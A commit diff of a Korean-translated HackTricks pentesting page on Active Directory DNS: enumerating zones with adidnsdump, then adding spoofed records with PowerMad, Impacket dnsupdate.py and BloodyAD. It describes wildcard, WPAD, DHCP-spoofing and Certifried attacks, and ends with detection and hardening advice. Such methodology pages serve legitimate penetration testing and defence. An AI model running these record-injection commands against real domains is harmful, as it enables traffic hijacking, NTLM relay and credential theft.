Translated ['src/windows-hardening/active-directory-methodology/ad-dns-r

This commit is contained in:
Translator 2025-07-24 14:29:14 +00:00
parent 7a0edce30c
commit a399840858

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
기본적으로 **Active Directory****모든 사용자**는 도메인 또는 포리스트 DNS 존에서 **모든 DNS 레코드****열거**할 수 있으며, 이는 존 전송과 유사합니다(사용자는 AD 환경에서 DNS 존의 자식 객체를 나열할 수 있습니다).
기본적으로 **Active Directory의 모든 사용자**는 도메인 또는 포리스트 DNS 존에서 **모든 DNS 레코드를 열거**할 수 있으며, 이는 존 전송과 유사합니다 (사용자는 AD 환경에서 DNS 존의 자식 객체를 나열할 수 있습니다).
도구 [**adidnsdump**](https://github.com/dirkjanm/adidnsdump)는 내부 네트워크의 정찰 목적을 위해 존의 **모든 DNS 레코드**를 **열거**하고 **내보내기** 할 수 있게 해줍니다.
```bash
@ -10,9 +10,70 @@ git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .
# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones
# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r
cat records.csv
```
> adidnsdump v1.4.0 (2025년 4월)은 JSON/Greppable (`--json`) 출력을 추가하고, 다중 스레드 DNS 해상도 및 LDAPS에 바인딩할 때 TLS 1.2/1.3을 지원합니다.
자세한 정보는 [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)를 읽으세요.
---
## 레코드 생성 / 수정 (ADIDNS 스푸핑)
**Authenticated Users** 그룹은 기본적으로 존 DACL에서 **Create Child** 권한을 가지고 있기 때문에, 모든 도메인 계정(또는 컴퓨터 계정)은 추가 레코드를 등록할 수 있습니다. 이는 트래픽 하이재킹, NTLM 릴레이 강제 또는 전체 도메인 손상에 사용될 수 있습니다.
### PowerMad / Invoke-DNSUpdate (PowerShell)
```powershell
Import-Module .\Powermad.ps1
# Add A record evil.domain.local → attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose
# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose
```
### Impacket dnsupdate.py (Python)
```bash
# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37
```
*(dnsupdate.py는 Impacket ≥0.12.0과 함께 제공됩니다)*
### BloodyAD
```bash
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37
```
---
## 일반적인 공격 원시 요소
1. **와일드카드 레코드** `*.<zone>`은 AD DNS 서버를 LLMNR/NBNS 스푸핑과 유사한 기업 전체 응답자로 변환합니다. NTLM 해시를 캡처하거나 LDAP/SMB로 릴레이하는 데 악용될 수 있습니다. (WINS 조회가 비활성화되어 있어야 합니다.)
2. **WPAD 하이재킹** `wpad`를 추가하거나 공격자 호스트를 가리키는 **NS** 레코드를 추가하여 Global-Query-Block-List를 우회하고, 자격 증명을 수집하기 위해 아웃바운드 HTTP 요청을 투명하게 프록시합니다. Microsoft는 와일드카드/DNAME 우회를 패치했지만 (CVE-2018-8320) **NS 레코드는 여전히 작동합니다**.
3. **오래된 항목 인수** 이전에 워크스테이션에 속했던 IP 주소를 주장하면 관련 DNS 항목이 여전히 해결되어 리소스 기반 제약 위임 또는 Shadow-Credentials 공격을 DNS에 전혀 손대지 않고 수행할 수 있습니다.
4. **DHCP → DNS 스푸핑** 기본 Windows DHCP+DNS 배포에서 동일한 서브넷의 인증되지 않은 공격자는 위조된 DHCP 요청을 보내 기존 A 레코드(도메인 컨트롤러 포함)를 덮어쓸 수 있습니다. 이는 동적 DNS 업데이트를 트리거합니다 (Akamai “DDSpoof”, 2023). 이는 Kerberos/LDAP에 대한 중간자 공격을 가능하게 하며 전체 도메인 인수로 이어질 수 있습니다.
5. **Certifried (CVE-2022-26923)** 제어하는 머신 계정의 `dNSHostName`을 변경하고, 일치하는 A 레코드를 등록한 다음, 해당 이름에 대한 인증서를 요청하여 DC를 가장합니다. **Certipy** 또는 **BloodyAD**와 같은 도구는 이 흐름을 완전히 자동화합니다.
---
## 탐지 및 강화
* 민감한 영역에서 **인증된 사용자**에게 *모든 자식 객체 생성* 권한을 거부하고, DHCP에서 사용하는 전용 계정에 동적 업데이트를 위임합니다.
* 동적 업데이트가 필요한 경우, 영역을 **보안 전용**으로 설정하고 DHCP에서 **이름 보호**를 활성화하여 소유자 컴퓨터 객체만 자신의 레코드를 덮어쓸 수 있도록 합니다.
* DNS 서버 이벤트 ID 257/252(동적 업데이트), 770(영역 전송) 및 `CN=MicrosoftDNS,DC=DomainDnsZones`에 대한 LDAP 쓰기를 모니터링합니다.
* 위험한 이름(`wpad`, `isatap`, `*`)을 의도적으로 무해한 레코드로 차단하거나 Global Query Block List를 통해 차단합니다.
* DNS 서버를 패치 상태로 유지합니다 예를 들어, RCE 버그 CVE-2024-26224 및 CVE-2024-26231은 **CVSS 9.8**에 도달했으며 도메인 컨트롤러에 대해 원격으로 악용될 수 있습니다.
## 참고 문헌
* Kevin Robertson “ADIDNS Revisited WPAD, GQBL and More” (2018, 여전히 와일드카드/WPAD 공격에 대한 사실상의 참고 문헌)
* Akamai “DHCP DNS 동적 업데이트를 악용한 DNS 레코드 스푸핑” (2023년 12월)
{{#include ../../banners/hacktricks-training.md}}